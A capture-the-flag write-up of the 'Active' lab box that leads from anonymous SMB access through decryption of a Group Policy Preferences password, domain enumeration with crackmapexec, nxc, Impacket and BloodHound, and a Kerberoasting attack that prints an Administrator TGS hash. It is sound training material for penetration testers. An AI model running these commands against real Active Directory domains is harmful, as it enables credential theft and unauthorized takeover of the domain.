Just another GPP / BloodHound / Kerberos / Kerberoast / KADM Write-up.
You may register the Microsoft Learn (with Windows filter) documentation bookmark for reference :)
Crackmapexec is now archived and no longer maintained (due to the existence of a “hostile” fork, or this violent thread ? oO). See NetExec for a maintained alternative, as well as its documentation instead. I made this machine box a while ago, when CrackMapExec was still THE tool to use before NetExec. Thus, there might be some discrepencies in this article. Indeed, I will sometimes use
cme
, and some other timesnxc
. The methodology, however, remains identical. In the context of this article,cme
andnxc
are interchangeable.If you don’t have the AD Modules installed, you need to enable the RSAT (Remote Server Administration Tools) features, or install them.
Footprinting
Open ports
Numerous ports are found by Nmap. Most of them alludes to an Active Directory’s Domain Controller:
kali@kali:~$ nmap -v10 -sS -Pn --disable-arp-ping -oA syn_scan -T4 -p- 10.10.10.100
[...]
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5722/tcp open msdfsr syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49155/tcp open unknown syn-ack ttl 127
49157/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127
49165/tcp open unknown syn-ack ttl 127
49170/tcp open unknown syn-ack ttl 127
49171/tcp open unknown syn-ack ttl 127
Indeed, the ports:
135 (RPC) and 139/445 (Netbios/SMB) reveal that this is a Windows machine.
53 (DNS), 389/636 (LDAP/S), but most importantly 88 (Kerberos), reveal that this is a DC (Domain Controller).
Because this is a DNS server, we can define it as our local resolver in /etc/resolv.conf
:
kali@kali:~$ sudo sed -i '1i nameserver 10.10.10.100' >> /etc/resolv.conf
kali@kali:~$ head -1 /etc/resolv.conf
nameserver 10.10.10.100
An cme
scan on SMB protocol gives us its FQDN (Fully Qualified Domain Name), DC.active.htb
:
kali@kali:~$ cme smb 10.10.10.100
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
Group Policy Preferences
Anonymous logon allowed
The Anonymous/Null session is allowed on the SMB protocol, and we have READ access to one of the shares:
kali@kali:~$ cme smb 10.10.10.100 -u '' -p '' --shares
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\:
SMB 10.10.10.100 445 DC [+] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL Logon server share
SMB 10.10.10.100 445 DC Users
We may explore that share via the impacket
's script smbclient.py
:
kali@kali:~$ impacket-smbclient "active.htb/:@10.10.10.100"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Replication
SYSVOL
Users
# use Replication
# ls
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 active.htb
GPP’s password is encrypted ! You CAN’T get it !!
A common easy way to retrieve credentials from the domain is by decrypting the Group Policy Preferences Password (GPP) stored in the \\active.htb\Policies\{GUID}\MACHINE\Preferences\Groups\Groups.xml
file:
# get active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
# exit
kali@kali:~$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
</User>
</Groups>
As the Microsoft documentation states, this file is just another Group Policy file that allows administrator to automatically manage accounts in the Domain via policy preferences.
Basically, the above XML configuration file creates a local user named SVC_TGS
(check this other example). The local type of the account is deduced because the group’s CLSID is {3125E937-EB16-4b4c-9934-544FC6D24D26}
and the user’s CLSID {DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}
. Also, the cpassword
attribute is the encrypted version of the user’s actual password.
However, Microsoft published the password encryption key:
Then, we may use public tools, such as gpp-decrypt
, to compromise the active.htb\SVC_TGS
user:
The decryption process is just relying on the symetric key exposed in the Microsoft’s documentation. Check this
gpp-decrypt.py
script:
kali@kali:~$ gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18
Privilege Escalation
svc_tgs
This user has access to more shares, in particular to the Users
share :
kali@kali:~$ cme smb 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18'
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
SMB 10.10.10.100 445 DC [+] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON READ Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL READ Logon server share
SMB 10.10.10.100 445 DC Users READ
Which contains the user’s flag:
kali@kali:~$ impacket-smbclient 'active.htb/svc_tgs:GPPstillStandingStrong2k18@10.10.10.100'
# use Users
# cat SVC_TGS/Desktop/user.txt
24[...]b9
root
Domain Recon & BloodHound
With a domain account, we can start to do a lot of domain enumeration (nxc, WADComs, Impacket, ...). In particular, svc_tgs
is allowed to request the LDAP service.
kali@kali:~$ nxc ldap 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' -d 'EGOTISTICAL-BANK.LOCAL'
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.100 389 DC [+] EGOTISTICAL-BANK.LOCAL\svc_tgs:GPPstillStandingStrong2k18
Thus we may :
List the domain’s users via
GetADUsers.py
(or make a raw LDAP query usingnxc
):
kali@kali:~$ impacket-GetADUsers -all active.htb/'svc_tgs:GPPstillStandingStrong2k18' -dc-ip 10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying 10.10.10.100 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2018-07-18 21:06:40.351723 2023-09-12 20:40:27.337744
Guest <never> <never>
krbtgt 2018-07-18 20:50:36.972031 <never>
SVC_TGS 2018-07-18 22:14:38.402764 2023-09-12 22:04:14.243773
kali@kali:~$ nxc ldap 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' -d 'EGOTISTICAL-BANK.LOCAL' --query "(&(objectCategory=person)(objectClass=user))" "*"
SMB 10.10.10.100 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
LDAP 10.10.10.100 389 DC [+] EGOTISTICAL-BANK.LOCAL\svc_tgs:GPPstillStandingStrong2k18
LDAP 10.10.10.100 389 DC [+] Response for object: CN=Administrator,CN=Users,DC=active,DC=htb
LDAP 10.10.10.100 389 DC objectClass: top person organizationalPerson user
LDAP 10.10.10.100 389 DC cn: Administrator
LDAP 10.10.10.100 389 DC description: Built-in account for administering the computer/domain
LDAP 10.10.10.100 389 DC distinguishedName: CN=Administrator,CN=Users,DC=active,DC=htb
[...]
LDAP 10.10.10.100 389 DC primaryGroupID: 513
LDAP 10.10.10.100 389 DC objectSid: 0x010500000000000515000000af192d1804b500be3d1afd76f4010000
LDAP 10.10.10.100 389 DC adminCount: 1
LDAP 10.10.10.100 389 DC accountExpires: 0
LDAP 10.10.10.100 389 DC logonCount: 119
LDAP 10.10.10.100 389 DC sAMAccountName: Administrator
LDAP 10.10.10.100 389 DC sAMAccountType: 805306368
LDAP 10.10.10.100 389 DC servicePrincipalName: active/CIFS:445
LDAP 10.10.10.100 389 DC objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=active,DC=htb
LDAP 10.10.10.100 389 DC isCriticalSystemObject: TRUE
LDAP 10.10.10.100 389 DC dSCorePropagationData: 20180718203435.0Z 20180718201454.0Z 20180718190545.0Z 20180718190545.0Z 16010101000000.0Z
LDAP 10.10.10.100 389 DC lastLogonTimestamp: 133751062624028894
LDAP 10.10.10.100 389 DC msDS-SupportedEncryptionTypes: 0
[...]
LDAP 10.10.10.100 389 DC [+] Response for object: CN=krbtgt,CN=Users,DC=active,DC=htb
LDAP 10.10.10.100 389 DC objectClass: top person organizationalPerson user
LDAP 10.10.10.100 389 DC cn: krbtgt
LDAP 10.10.10.100 389 DC description: Key Distribution Center Service Account
LDAP 10.10.10.100 389 DC distinguishedName: CN=krbtgt,CN=Users,DC=active,DC=htb
LDAP 10.10.10.100 389 DC instanceType: 4
LDAP 10.10.10.100 389 DC whenCreated: 20180718185035.0Z
LDAP 10.10.10.100 389 DC whenChanged: 20180718190545.0Z
LDAP 10.10.10.100 389 DC uSNCreated: 12324
LDAP 10.10.10.100 389 DC memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=active,DC=htb
LDAP 10.10.10.100 389 DC uSNChanged: 12739
LDAP 10.10.10.100 389 DC showInAdvancedViewOnly: TRUE
LDAP 10.10.10.100 389 DC name: krbtgt
LDAP 10.10.10.100 389 DC objectGUID: 0xe7a1d743a6a5ab4982d0e24e7472f88d
LDAP 10.10.10.100 389 DC userAccountControl: 514
LDAP 10.10.10.100 389 DC badPwdCount: 0
LDAP 10.10.10.100 389 DC codePage: 0
LDAP 10.10.10.100 389 DC countryCode: 0
LDAP 10.10.10.100 389 DC badPasswordTime: 0
LDAP 10.10.10.100 389 DC lastLogoff: 0
LDAP 10.10.10.100 389 DC lastLogon: 0
LDAP 10.10.10.100 389 DC pwdLastSet: 131764134369720307
LDAP 10.10.10.100 389 DC primaryGroupID: 513
LDAP 10.10.10.100 389 DC objectSid: 0x010500000000000515000000af192d1804b500be3d1afd76f6010000
LDAP 10.10.10.100 389 DC adminCount: 1
LDAP 10.10.10.100 389 DC accountExpires: 9223372036854775807
LDAP 10.10.10.100 389 DC logonCount: 0
LDAP 10.10.10.100 389 DC sAMAccountName: krbtgt
LDAP 10.10.10.100 389 DC sAMAccountType: 805306368
LDAP 10.10.10.100 389 DC servicePrincipalName: kadmin/changepw
LDAP 10.10.10.100 389 DC objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=active,DC=htb
LDAP 10.10.10.100 389 DC isCriticalSystemObject: TRUE
LDAP 10.10.10.100 389 DC dSCorePropagationData: 20180718190545.0Z 16010101000000.0Z
[...]
- Enumerating groups, loggedon users, users in the machine, sessions, etc., via
crackmapexec
:
kali@kali:~$ crackmapexec smb 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
SMB 10.10.10.100 445 DC [+] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON READ Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL READ Logon server share
SMB 10.10.10.100 445 DC Users READ
SMB 10.10.10.100 445 DC [+] Enumerated sessions
SMB 10.10.10.100 445 DC [+] Enumerated loggedon users
SMB 10.10.10.100 445 DC [+] Enumerated domain user(s)
SMB 10.10.10.100 445 DC active.htb\SVC_TGS badpwdcount: 0 desc:
SMB 10.10.10.100 445 DC active.htb\krbtgt badpwdcount: 0 desc: K
SMB 10.10.10.100 445 DC active.htb\Guest badpwdcount: 2 desc: B
SMB 10.10.10.100 445 DC active.htb\Administrator badpwdcount: 1 desc: B
SMB 10.10.10.100 445 DC [+] Enumerated domain group(s)
SMB 10.10.10.100 445 DC DnsUpdateProxy membercount: 0
SMB 10.10.10.100 445 DC DnsAdmins membercount: 0
SMB 10.10.10.100 445 DC Enterprise Read-only Domain Controllers membercount: 0
SMB 10.10.10.100 445 DC Read-only Domain Controllers membercount: 0
SMB 10.10.10.100 445 DC Denied RODC Password Replication Group membercount: 8
SMB 10.10.10.100 445 DC Allowed RODC Password Replication Group membercount: 0
SMB 10.10.10.100 445 DC Terminal Server License Servers membercount: 0
SMB 10.10.10.100 445 DC Windows Authorization Access Group membercount: 1
SMB 10.10.10.100 445 DC Incoming Forest Trust Builders membercount: 0
SMB 10.10.10.100 445 DC Pre-Windows 2000 Compatible Access membercount: 1
SMB 10.10.10.100 445 DC Account Operators membercount: 0
SMB 10.10.10.100 445 DC Server Operators membercount: 0
SMB 10.10.10.100 445 DC RAS and IAS Servers membercount: 0
SMB 10.10.10.100 445 DC Group Policy Creator Owners membercount: 1
SMB 10.10.10.100 445 DC Domain Guests membercount: 0
SMB 10.10.10.100 445 DC Domain Users membercount: 0
SMB 10.10.10.100 445 DC Domain Admins membercount: 1
SMB 10.10.10.100 445 DC Cert Publishers membercount: 0
SMB 10.10.10.100 445 DC Enterprise Admins membercount: 1
SMB 10.10.10.100 445 DC Schema Admins membercount: 1
SMB 10.10.10.100 445 DC Domain Controllers membercount: 0
SMB 10.10.10.100 445 DC Domain Computers membercount: 0
SMB 10.10.10.100 445 DC Certificate Service DCOM Access membercount: 0
SMB 10.10.10.100 445 DC Event Log Readers membercount: 0
SMB 10.10.10.100 445 DC Cryptographic Operators membercount: 0
SMB 10.10.10.100 445 DC IIS_IUSRS membercount: 1
SMB 10.10.10.100 445 DC Distributed COM Users membercount: 0
SMB 10.10.10.100 445 DC Performance Log Users membercount: 0
SMB 10.10.10.100 445 DC Performance Monitor Users membercount: 0
SMB 10.10.10.100 445 DC Network Configuration Operators membercount: 0
SMB 10.10.10.100 445 DC Remote Desktop Users membercount: 0
SMB 10.10.10.100 445 DC Replicator membercount: 0
SMB 10.10.10.100 445 DC Backup Operators membercount: 0
SMB 10.10.10.100 445 DC Print Operators membercount: 0
SMB 10.10.10.100 445 DC Guests membercount: 2
SMB 10.10.10.100 445 DC Users membercount: 3
SMB 10.10.10.100 445 DC Administrators membercount: 3
SMB 10.10.10.100 445 DC [+] Enumerated local groups
SMB 10.10.10.100 445 DC Cert Publishers membercount: 0
SMB 10.10.10.100 445 DC RAS and IAS Servers membercount: 0
SMB 10.10.10.100 445 DC Allowed RODC Password Replication Group membercount: 0
SMB 10.10.10.100 445 DC Denied RODC Password Replication Group membercount: 8
SMB 10.10.10.100 445 DC DnsAdmins membercount: 0
SMB 10.10.10.100 445 DC Server Operators membercount: 0
SMB 10.10.10.100 445 DC Account Operators membercount: 0
SMB 10.10.10.100 445 DC Pre-Windows 2000 Compatible Access membercount: 1
SMB 10.10.10.100 445 DC Incoming Forest Trust Builders membercount: 0
SMB 10.10.10.100 445 DC Windows Authorization Access Group membercount: 1
SMB 10.10.10.100 445 DC Terminal Server License Servers membercount: 0
SMB 10.10.10.100 445 DC Administrators membercount: 3
SMB 10.10.10.100 445 DC Users membercount: 3
SMB 10.10.10.100 445 DC Guests membercount: 2
SMB 10.10.10.100 445 DC Print Operators membercount: 0
SMB 10.10.10.100 445 DC Backup Operators membercount: 0
SMB 10.10.10.100 445 DC Replicator membercount: 0
SMB 10.10.10.100 445 DC Remote Desktop Users membercount: 0
SMB 10.10.10.100 445 DC Network Configuration Operators membercount: 0
SMB 10.10.10.100 445 DC Performance Monitor Users membercount: 0
SMB 10.10.10.100 445 DC Performance Log Users membercount: 0
SMB 10.10.10.100 445 DC Distributed COM Users membercount: 0
SMB 10.10.10.100 445 DC IIS_IUSRS membercount: 1
SMB 10.10.10.100 445 DC Cryptographic Operators membercount: 0
SMB 10.10.10.100 445 DC Event Log Readers membercount: 0
SMB 10.10.10.100 445 DC Certificate Service DCOM Access membercount: 0
SMB 10.10.10.100 445 DC [+] Dumping password info for domain: ACTIVE
SMB 10.10.10.100 445 DC Minimum password length: 7
SMB 10.10.10.100 445 DC Password history length: 24
SMB 10.10.10.100 445 DC Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.10.100 445 DC
SMB 10.10.10.100 445 DC Password Complexity Flags: 000001
SMB 10.10.10.100 445 DC Domain Refuse Password Change: 0
SMB 10.10.10.100 445 DC Domain Password Store Cleartext: 0
SMB 10.10.10.100 445 DC Domain Password Lockout Admins: 0
SMB 10.10.10.100 445 DC Domain Password No Clear Change: 0
SMB 10.10.10.100 445 DC Domain Password No Anon Change: 0
SMB 10.10.10.100 445 DC Domain Password Complex: 1
SMB 10.10.10.100 445 DC
SMB 10.10.10.100 445 DC Minimum password age: 1 day 4 minutes
SMB 10.10.10.100 445 DC Reset Account Lockout Counter: 30 minutes
SMB 10.10.10.100 445 DC Locked Account Duration: 30 minutes
SMB 10.10.10.100 445 DC Account Lockout Threshold: None
SMB 10.10.10.100 445 DC Forced Log off Time: Not Set
SMB 10.10.10.100 445 DC [+] Brute forcing RIDs
SMB 10.10.10.100 445 DC 498: ACTIVE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.10.100 445 DC 500: ACTIVE\Administrator (SidTypeUser)
SMB 10.10.10.100 445 DC 501: ACTIVE\Guest (SidTypeUser)
SMB 10.10.10.100 445 DC 502: ACTIVE\krbtgt (SidTypeUser)
SMB 10.10.10.100 445 DC 512: ACTIVE\Domain Admins (SidTypeGroup)
SMB 10.10.10.100 445 DC 513: ACTIVE\Domain Users (SidTypeGroup)
SMB 10.10.10.100 445 DC 514: ACTIVE\Domain Guests (SidTypeGroup)
SMB 10.10.10.100 445 DC 515: ACTIVE\Domain Computers (SidTypeGroup)
SMB 10.10.10.100 445 DC 516: ACTIVE\Domain Controllers (SidTypeGroup)
SMB 10.10.10.100 445 DC 517: ACTIVE\Cert Publishers (SidTypeAlias)
SMB 10.10.10.100 445 DC 518: ACTIVE\Schema Admins (SidTypeGroup)
SMB 10.10.10.100 445 DC 519: ACTIVE\Enterprise Admins (SidTypeGroup)
SMB 10.10.10.100 445 DC 520: ACTIVE\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.10.100 445 DC 521: ACTIVE\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.10.100 445 DC 553: ACTIVE\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.10.100 445 DC 571: ACTIVE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.10.100 445 DC 572: ACTIVE\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.10.100 445 DC 1000: ACTIVE\DC$ (SidTypeUser)
SMB 10.10.10.100 445 DC 1101: ACTIVE\DnsAdmins (SidTypeAlias)
SMB 10.10.10.100 445 DC 1102: ACTIVE\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.10.100 445 DC 1103: ACTIVE\SVC_TGS (SidTypeUser)
- Or, we could simply just use bloodhound.py as our LDAP collector/dumper/ingestor:
kali@kali:~$ bloodhound.py -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' -d active.htb -dc dc.active.htb -ns 10.10.10.100 -c all --zip
For BloodHound to work, we first need to start the neo4j
Graph Database service locally:
kali@kali:~$ sudo neo4j start
And open BloodHound using the default credentials neo4j:neo4j
.
If you’ve forgotten the
neo4j
credentials, it’s possible to disable its authentication process. We may also expose theneo4j
service on localhost only. These settings can be defined inneo4j.conf
:
kali@kali:$ sudo neo4j stop
kali@kali:$ sudo vim /etc/neo4j/neo4j.conf
dbms.security.auth_enabled=false
server.default_listen_address=127.0.0.1
kali@kali:$ sudo neo4j start
Finally, clear any already present database (if applicable) and upload our ZIP data collection:
Because we compromised the domain accout active.htb\svc_tgs
, we can mark it as owned:
The next step will be looking for Kerberoastable accounts. But before diving into that attack, let’s make a quick Kerberos review.
Have fun reading endless RFC4120 !
Every image in this subsection is taken from ionos, or tarlogic.
For in-depth details about the Kerberos protocol, you may check RFC4120: “Kerberos Network Authentication Service (v5)”, its glossary, or hackndo’s blog, among many other resources.
Any reference to a secret key is just an NTHash, derived from the individual’s password. Any reference to an identity is just a username.
In the Active Directory authentication process, they’re 3 entities: the client = user
, the KDC (Key Distribution Center) = AS (Authentication Server) + TGS (Ticket-Granting Server)
, and the server = APplication server/service
the client wanna access.
This authentication process is divided into 3 exchanges initiated by the client to the other enties, the first one being the AS Exchange.
AS (Authentication Service) Exchange
The client requests a ticket named TGT (Ticket Granting Ticket) to the KDC/AS (Key Distribution Center/Authentication Server) in the
KRB_AS_REQ
message. This ticket allows the client (currently holding no credentials) to obtain credentials for a given server. In the request message, the client sends its identity (in cleartext) and the identity of the server for which it requests credentials (through its SPN (ServicePrincipalName), namelykrbtgt
, the TGT generator service), along with a randomly generated nonce to prevent replay attacks. The request also contains a timestamp, encrypted with the client’s secret key, allowing the KDC/AS to check the client’s identity:The KDC/AS has every user’s secret keys of the domain. Thus, it can check the user’s identity by decrypting the timestamp, and that the requested information exist in its Active Directory’s database (such as the PRINCIPAL (Username) and the requested SPN). When everything is okay, it responds with a
KRB_AS_REP
message, containing an TGT (encrypted with thekrbtgt
’s secret key) and a session key encrypted with the client’s secret key. This TGT cannot be decrypted by the client, as it doesn’t have thekrbtgt
’s secret key. However, the client can decrypt the session key:When the user checked the retrieved nonce matches the one in his request, he may use the session key, tunneling the future client-KDC/TGS (Ticket-Granting Server) communications and ask a TGService.
TGS (Ticket-Granting Service) Exchange
The client requests a ticket named TGS (Ticket-Granting Service) to the KDC/TGS in the
KRB_TGS_REQ
message. This ticket allows the client to obtain credentials for a given server. In the request message, the client sends its identity (session-key encrypted) and the identity of the application server (any desired SPN) for which it requests credentials. The communication between the client and the KDC/TGS is exactly the same as with the KDC/AS, except that the client’s secret key isn’t used to secure the communication, but the retrieved session key instead:Note that the KDC/TGS can decrypt the TGT, and check that the client’s identity and the session key match. If everything is okay, the KDC/TGS returns a TGS (encrypted with the server’s secret key) to the client in the
KRB_TGS_REP
message, along with a service session key the client can decrypt:Again, the client checks the retrieved nonce before using the Service session key, tunneling the future client-application server communications.
Client/Server (CS) Message Specification
Finally, the client can interact with the desired APplication server after the
KRB_AP_REQ
message. Then, the APplication server allows/denies the client’s access depending on the PAC (Privilege Account Certificate)’s content found in the TGS:
Last image taken from neosoft. It simply highlights that the APplication server checks the PAC’s content communicating with the KDC through
KRB_PAC_REQ/REP
messages. This PAC validation prevents PAC spoofing, i.e unauthorized access to the APplication server with a tampered PAC. It ensures the client presents the exact same authorization data as in its Kerberos ticket.
Kerberoasting
Quick Overview
You may check hacktrickz, The Hacker Recipes, or InternalAllTheThings, among many other resources, for more details.
Kerberoasting is a kind of Active Directory attack in which an attacker offline-cracks the password of a domain user. This attack is possible because:
A domain user (e.g.
SVC_USR
) hosts a domain service, given that its SPN attribute is not NULL. Thus, it acts as an APplication server. Therefore, a standard domain user (e.g.DOM_USR
) can request a TGS to the KDC/TGS for that SPN, encrypted with theSVC_USR
's NTHash, derived from its password.The fact that the entity hosting the SPN is a user, and NOT a computer (as normally expected for servers), makes the password cracking simpler. As adsecurity states, by default, computers’ passwords are updated every 30 days, and made up of 120 characters. In addition, as shown in the
GetUserSPNs.py
’s script, users’ passwords are likely to be simpler than machines’ passwords:
As demonstrated in this trustedsec article (cited in The Hacker Recipes), the computers’ passwords inherent strength is NOT applicable (i.e. the computer’s password is already weak) if the computer:
Has the
PASSWD_NOTREQD
flag set (blank password). Such computers can be identified requesting LDAP, using for example the AD Modules (Get-ADUser -Filter {PasswordNotRequired -eq $true -and Enabled -eq $true}
).Is created using the
pre-Windows 2000 computer
template (whose password is just its name, e.g.MYCOMPUTER$:mycomputer
). Such computers can be identified with pre2k, getTGT.py (getTGT.py <domain>/'mycomputer$:mycomputer'
), or via an nxcuser=password
wordlist attack for example.
- (Side notes: I couldn’t find this
MYCOMPUTER$:mycomputer
creds documented in the Microsoft’s pages.)
Kerberoasting, thus, relies on:
Requesting a TGS to access a service provided by the domain user acting as an application server (with the SPN attribute set).
A TGS encrypted with the domain user’s NTHash (redsiege, slide 11), making its offline-cracking more likely.
UserSPNs ? Wh3r3 4r3 U ?!
Useful pentesting LDAP queries can be found in this podalirius’s page.
We already compromised the svc_tgs:GPPstillStandingStrong2k18
domain account with an access to LDAP. Thus, we can look for domain users with an SPN attribute using:
kali@kali:~$ impacket-GetUserSPNs -request -dc-ip 10.10.10.100 active.htb/'svc_tgs:GPPstillStandingStrong2k18'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2023-09-12 20:40:27.337744
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$bc068b84297ead5d1bf0b276acec5782$abb3f36dab3ba0e96f6c5d48930a9b845ca9251dad1d4796a39c2c1b01b2405868acd6d6e3c9ed31cd41be21bc9b4591715761b7e3dbe9230ecee6a00d72578aa492f2b113701ca11fe97f8a02bbf46368c39425e5a9b9343169835bbbfd75cb3fd717caca5ce86a551bc0d41a755ec8e43d5bb2013f659cc1878886e3e81f2e2bfe1d7f305f56668ac259ab1d0cdb76dbb5bd1c983e7582997cc014b2ac679e15630b2b243c0dd4072ebb9bf41115644430bcd99cb3c44e7ee42fa91f37e1aa81ae12cf86b3e838e91fb21374371328b8f2d84ce7c96ae06557f6055edfe49bef32f5edbde2718af78e82380394e59c9faa9a53f24fdeba812760779d63ad8f7d6cccbf9c0ede245c1495e0e90b83d87006e551b85534bdc0dec64a88da10642d9d6a12acf21bfee5c5254b68b69ab58d81bf0cb953274ab0f411d0f624bc967493a5e0140f3e2ad25c2e8d839134f25739d9fafb52ec4e4b9b26e345cdeee78328988837881986a5abeb4e528c30cdb9d8791b4f1afea2f418a459d51a9b22567a6139be66ab8cf2a91727872b515601bfc20777029d76a406ace88255f3ab07b5b9b7643894ff8a28842a14ed675000c10185a6323c9c0545e52e0b9fe6cc7cf6c02e999472c3f401e2abe98bff74c9441c2c4a6debe9fa2a59002e2aca07fc5d67c00d0918f6ac06ed8b441911c21325942f107a017255eaa18b0ebaad79aa871efbb213ad09987e3d1063df87a30a56babf3e0b6dbca16c5939e21b14078496585248e7f7880994362d2fb08ada67beeb46a0cc3f8512161bada34a5bfacc6722346634fa36e5c5063df26c4c5ec2a652ac887f38228bc9889778d21aedc56f5e4d3e191ffedd0926b54a9e2d3926f91adea1556a7ed2ee4637d45dd0678236fca72984af4cbe2b2c613cadeb1218eebc125738684a236684d05c8eadacaca749379c13a41bc54f6db488da88e6c05b4b11966b74338ea2985cdb7ba6f961508d0397a7a313b1788e395e8dccbf2b97c05387d207ce6f7b1b6009344ff150b93e92cb72fc212812c43805618e06e556ff914fcf0b0f7f03610576d6dde0b628205a51eab78bcb7d64f1faa36ded3a53c63ec5f14366ec1a005e4aed480ee15e9eda30b92c5f60fe3b6a957288ab812afa0441c51bc6a3b5801a21065c635310c43ae8489fa1271ceb46cbad067e5bad0ba553a0b1b2e50eb82ab9680c6f4ae1767e09aa5885af28470d17db6180b8c918155848f9667719
- Or the
ADSearch.exe
tool (compiled in the Sharpcollection repo):
PS C:\Users\jamarir> ADSearch.exe --insecure --hostname 10.10.10.100 --domain 'ACTIVE.HTB' --username 'svc_tgs' --password 'GPPstillStandingStrong2k18' --search "(&(objectCategory=user)(servicePrincipalName=*)(!(cn=krbtgt)))" --attributes samAccountName,distinguishedName,servicePrincipalName
PS C:\Users\jamarir> ADSearch.exe --insecure --hostname 10.10.10.100 --domain 'ACTIVE.HTB' --username 'svc_tgs' --password 'GPPstillStandingStrong2k18' --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes samAccountName,distinguishedName,servicePrincipalName
___ ____ _____ __
